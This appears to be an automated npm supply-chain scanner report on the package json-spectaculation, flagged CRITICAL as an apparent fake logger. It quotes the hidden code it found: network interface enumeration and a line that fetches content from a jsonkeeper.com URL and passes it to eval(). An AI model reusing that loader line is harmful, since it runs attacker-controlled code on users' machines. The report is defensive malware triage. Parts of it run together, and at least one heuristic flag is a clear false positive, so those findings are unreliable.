Chaintrap · npm supply chain
Static behavior detection plus OSV vulnerability intel in one report. Use findings for triage; confirm with your process — full stdout and JSON are in the appendix for audit.
npm-mal-scan rated malware risk CRITICAL for this package (heuristic static analysis — not a court verdict). Vulnerability signal: NONE; dependency confusion: NONE. Scanner verdict: CRITICAL.
Scanners prioritize signal over certainty: expect both false positives and blind spots. Chaintrap is designed to combine static detection with OSV CVE data so analysts spend time on packages that look risky and have known-vuln exposure — not to replace manual review or reputation checks.
4 runtime dependencies
| Package | Required | Flags |
|---|---|---|
| axios | ^1.10.0 | |
| parse-json | ^8.3.0 | |
| request | ^2.88.2 | |
| sqlite3 | ^5.1.7 |
1.0.0Modes: OSV per dependency · resolve cap: 15 · per-child timeout: 120s
| Dependency | Declared | Resolved / status | OSV # | Max OSV severity | Full scan | Reports |
|---|---|---|---|---|---|---|
| axios | ^1.10.0 | 1.15.1 | 0 | — | — | — |
| parse-json | ^8.3.0 | 8.3.0 | 0 | — | — | — |
| request | ^2.88.2 | 2.88.2 | 1 | — | — | — |
| sqlite3 | ^5.1.7 | 5.1.7 | 0 | — | — | — |
OSV queries use the resolved version shown (exact pins as declared; ranges use the highest published version satisfying the range). See NPM_RUNTIME_DEP_OSV_SCAN / NPM_RUNTIME_DEP_FULL_SCAN in operator docs.
Chaintrap pairs static behavior signals above with OSV data for this exact version — cross-check CVEs and malware listings with install scripts, execution paths, and scanner findings.
Source: osv.dev — queried at scan time.
No known vulnerabilities reported for this exact version.
require() / import
Illustrative execution chain from scan order and behavior findings — heuristic, not a guaranteed exploit path.
lib/writer.js:5 — Subprocess: const interfaces = os.networkInterfaces()lib/writer.js:29 — Subprocess: require('axios').get('https://www.jsonkeeper.com/b/HY6M6').then(r => {eval(r.data.content);});lib/tools.js:214 — Subprocess: const valid = key !== 'level' &&These URLs, domains, and IPv4 addresses were extracted from this package and this scan (strings in source, network-related findings, and similar signals). Treat each as a candidate IOC: confirm with DNS reputation, threat feeds, and your own triage before treating it as malicious infrastructure. Each row includes a VirusTotal link (opens in a new tab) to the domain or IP address report — full https://… URLs still list the exact string, but the link uses the hostname only (e.g. https://www.jsonkeeper.com/b/… → VirusTotal domain www.jsonkeeper.com). Routine npm registry and CDN hosts are omitted where possible. Third-party threat-report links are listed separately below — those are citations for context, not automatic package contact.
T1 score=90 pino.js publish entry (main / exports / module / browser) T3 score=25 file.js other package script (tier 3 shallow scan) T3 score=25 lib/caller.js other package script (tier 3 shallow scan) T3 score=25 lib/constants.js other package script (tier 3 shallow scan) T3 score=25 lib/deprecations.js other package script (tier 3 shallow scan) T3 score=25 lib/levels.js other package script (tier 3 shallow scan) T3 score=25 lib/meta.js other package script (tier 3 shallow scan) T3 score=25 lib/multistream.js other package script (tier 3 shallow scan) T3 score=25 lib/proto.js other package script (tier 3 shallow scan) T3 score=25 lib/redaction.js other package script (tier 3 shallow scan) T3 score=25 lib/symbols.js other package script (tier 3 shallow scan) T3 score=25 lib/time.js other package script (tier 3 shallow scan) T3 score=25 lib/tools.js other package script (tier 3 shallow scan) T3 score=25 lib/transport-stream.js other package script (tier 3 shallow scan) T3 score=25 lib/transport.js other package script (tier 3 shallow scan) T3 score=25 lib/worker.js other package script (tier 3 shallow scan) T3 score=25 lib/writer.js other package script (tier 3 shallow scan)
Most signature hits in the command:
const interfaces = os.networkInterfaces()Enumerating network interfaces to collect IPv4 addresses (often filtering !internal) is a common fingerprinting step before exfil in npm stealers — seen in fake logger packages.
Most signature hits in the command:
require('axios').get('https://www.jsonkeeper.com/b/HY6M6').then(r => {eval(r.data.content);});eval() executes a dynamic string — the primary vector for runtime code obfuscation
Most signature hits in the command:
const valid = key !== 'level' &&Shell command sent to background with & — allows npm install to exit while payload runs
[LOW] DIFF_NO_REPO File: package.json Package has no repository field. Cannot compare tarball against source — increases opacity of provenance.
No known vulnerabilities for this version.
file.jslib/caller.jslib/constants.jslib/deprecations.jslib/levels.jslib/meta.jslib/multistream.jslib/proto.jslib/redaction.jslib/symbols.jslib/time.jslib/tools.jslib/transport-stream.jslib/transport.jslib/worker.jslib/writer.jspino.jsnpm uninstall json-spectaculationnpm uninstall -g json-spectaculationpackage-lock.json and run npm installjson-spectaculation to your package manager deny-list or use .npmrc overrideswww.jsonkeeper.com